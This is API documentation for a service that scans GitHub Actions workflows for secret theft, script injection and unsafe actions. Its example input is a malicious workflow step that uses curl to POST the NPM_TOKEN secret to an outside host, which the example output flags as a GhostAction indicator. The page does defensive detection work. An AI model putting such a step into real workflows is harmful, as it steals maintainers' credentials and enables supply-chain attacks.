> ## Documentation Index
> Fetch the complete documentation index at: https://docs.custoden.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Analyze a GitHub Actions workflow

> Find secret theft, script injection and risky actions in a GitHub Actions workflow.

Checks one workflow file for:

* Secret theft, including patterns from GhostAction, Shai-Hulud and the tj-actions compromise
* Script injection and unsafe `pull_request_target` checkouts
* Actions from missing, new, forked or look-alike repositories
* Unpinned actions, token permissions and other hardening issues

Costs 2 units of your [rate limit](https://docs.custoden.com/getting-started/rate-limits.md). The workflow is analyzed in memory and not stored.

## Request

Send the YAML as the raw body:

```bash theme={null}
curl -X POST https://api.custoden.com/v1/github/workflows/analyze \
  --data-binary @.github/workflows/ci.yml
```

Or as JSON with `Content-Type: application/json`:

```json theme={null}
{ "workflow": "on: push\njobs:\n  ..." }
```

The body can be up to 256 KB.

## Example

```yaml theme={null}
name: Github Actions Security
on: [push, workflow_dispatch]
jobs:
  send:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Prepare Cache Busting
        run: |
          curl -s -X POST -d "NPM=${{ secrets.NPM_TOKEN }}" https://bold-dhawan.45-139-104-115.plesk.page
```

```json theme={null}
{
  "workflow": { "name": "Github Actions Security", "triggers": ["push", "workflow_dispatch"], "jobs": 1 },
  "summary": { "critical": 2, "high": 0, "medium": 0, "low": 2, "info": 0, "total": 4 },
  "findings": [
    {
      "rule": "secret-exfiltration",
      "severity": "critical",
      "title": "Secrets sent to an untrusted endpoint",
      "detail": "Step \"Prepare Cache Busting\" uses secrets and contacts 45-139-104-115.plesk.page, a throwaway hostname that maps to an IP address.",
      "remediation": "Remove the step, rotate every secret it could read, and review who added it.",
      "location": { "line": 9, "column": 14, "job": "send", "step": "Prepare Cache Busting" }
    },
    {
      "rule": "campaign-indicator",
      "severity": "critical",
      "title": "Matches the GhostAction campaign",
      "detail": "The workflow contains \"bold-dhawan.45-139-104-115.plesk.page\", an indicator published for GhostAction. ...",
      "remediation": "Disable the workflow, rotate all secrets, and audit recent commits, runs and repository collaborators.",
      "location": { "line": 10, "column": 69, "job": null, "step": null }
    },
    { "rule": "default-permissions", "severity": "low", "...": "..." },
    { "rule": "unpinned-action", "severity": "low", "...": "..." }
  ],
  "actions": [
    { "uses": "actions/checkout@v4", "owner": "actions", "repo": "checkout", "location": { "line": 7, "column": 15, "job": "send", "step": "actions/checkout@v4" } }
  ],
  "checks": {
    "action_repositories": { "status": "complete", "checked": 1, "total": 1 }
  }
}
```

## Response

| Field | Type | Description |
| - | - | - |
| `workflow.name` | string \| null | The workflow's `name` |
| `workflow.triggers` | string\[] | Events under `on` |
| `workflow.jobs` | integer | Number of jobs |
| `summary` | object | Count of findings per severity, plus `total` |
| `findings` | array | Sorted by severity, then line. See [Workflow rules](https://docs.custoden.com/reference/workflow-rules.md) |
| `actions` | array | Each third-party action or reusable workflow referenced, listed once |
| `checks.action_repositories` | object | Status of the GitHub repository lookups. See below |

### Finding

| Field | Type | Description |
| - | - | - |
| `rule` | string | Stable rule ID |
| `severity` | string | `critical`, `high`, `medium`, `low` or `info` |
| `title` | string | One-line summary |
| `detail` | string | What was found in this workflow |
| `remediation` | string | How to fix it |
| `location` | object | `line` and `column` (1-based), plus `job` and `step` when known |

### Action repository checks

The API looks up the repositories behind referenced actions. This catches references to owners that no longer exist (anyone can register the name and publish code there), recently created repositories, forks of popular actions, and renamed repositories.

| Field | Description |
| - | - |
| `status` | `complete`, `partial` (not every action was looked up) or `skipped` (lookups temporarily unavailable) |
| `checked` | Repositories looked up |
| `total` | Third-party actions referenced |
| `reason` | Present when not `complete` |

Static findings are always returned, even when lookups are skipped.

## Errors

| Status | Code | When |
| - | - | - |
| 400 | `invalid_request` | Empty body, or JSON without a `workflow` string |
| 400 | `invalid_json` | JSON body could not be parsed |
| 413 | `payload_too_large` | Body exceeds 256 KB |
| 422 | `invalid_workflow` | Not valid YAML, or no top-level `jobs` map. `details.line` and `details.column` are included |
| 429 | `rate_limited` | See [Rate limits](https://docs.custoden.com/getting-started/rate-limits.md) |


## OpenAPI

````yaml POST /v1/github/workflows/analyze
openapi: 3.1.0
info:
  title: Custoden API
  version: v1
  description: >-
    Free, keyless API for checking open-source packages and GitHub Actions
    workflows.
  contact:
    url: https://github.com/Custoden/docs
servers:
  - url: https://api.custoden.com
security: []
paths:
  /v1/github/workflows/analyze:
    post:
      summary: Analyze a GitHub Actions workflow
      description: Costs 2 rate limit units. Body up to 256 KB.
      operationId: analyzeWorkflow
      requestBody:
        required: true
        content:
          text/plain:
            schema:
              type: string
              description: Workflow YAML
          application/json:
            schema:
              type: object
              required:
                - workflow
              properties:
                workflow:
                  type: string
      responses:
        '200':
          description: Workflow report
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/WorkflowReport'
        '400':
          $ref: '#/components/responses/Error'
        '413':
          $ref: '#/components/responses/Error'
        '422':
          $ref: '#/components/responses/Error'
        '429':
          $ref: '#/components/responses/RateLimited'
components:
  schemas:
    WorkflowReport:
      type: object
      required:
        - workflow
        - summary
        - findings
        - actions
      properties:
        workflow:
          type: object
          properties:
            name:
              type:
                - string
                - 'null'
            triggers:
              type: array
              items:
                type: string
            jobs:
              type: integer
        summary:
          $ref: '#/components/schemas/SeveritySummary'
        findings:
          type: array
          items:
            $ref: '#/components/schemas/WorkflowFinding'
        actions:
          type: array
          items:
            type: object
            properties:
              uses:
                type: string
              owner:
                type: string
              repo:
                type: string
              location:
                $ref: '#/components/schemas/Location'
        checks:
          type: object
          properties:
            action_repositories:
              $ref: '#/components/schemas/Check'
    SeveritySummary:
      type: object
      required:
        - critical
        - high
        - medium
        - low
        - info
        - total
      properties:
        critical:
          type: integer
        high:
          type: integer
        medium:
          type: integer
        low:
          type: integer
        info:
          type: integer
        total:
          type: integer
    WorkflowFinding:
      type: object
      required:
        - rule
        - severity
        - title
        - detail
        - remediation
        - location
      properties:
        rule:
          type: string
        severity:
          $ref: '#/components/schemas/Severity'
        title:
          type: string
        detail:
          type: string
        remediation:
          type: string
        location:
          $ref: '#/components/schemas/Location'
    Location:
      type: object
      required:
        - line
        - column
        - job
        - step
      properties:
        line:
          type: integer
        column:
          type: integer
        job:
          type:
            - string
            - 'null'
        step:
          type:
            - string
            - 'null'
    Check:
      type: object
      required:
        - status
        - checked
        - total
      properties:
        status:
          type: string
          enum:
            - complete
            - partial
            - skipped
        checked:
          type: integer
        total:
          type: integer
        reason:
          type: string
    ErrorResponse:
      type: object
      required:
        - error
        - request_id
      properties:
        error:
          $ref: '#/components/schemas/ErrorBody'
        request_id:
          type: string
    Severity:
      type: string
      enum:
        - critical
        - high
        - medium
        - low
        - info
    ErrorBody:
      type: object
      required:
        - code
        - message
      properties:
        code:
          type: string
        message:
          type: string
        details:
          type: object
  responses:
    Error:
      description: Error
      content:
        application/json:
          schema:
            $ref: '#/components/schemas/ErrorResponse'
    RateLimited:
      description: Rate limit exceeded
      headers:
        Retry-After:
          schema:
            type: integer
      content:
        application/json:
          schema:
            $ref: '#/components/schemas/ErrorResponse'

````

This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.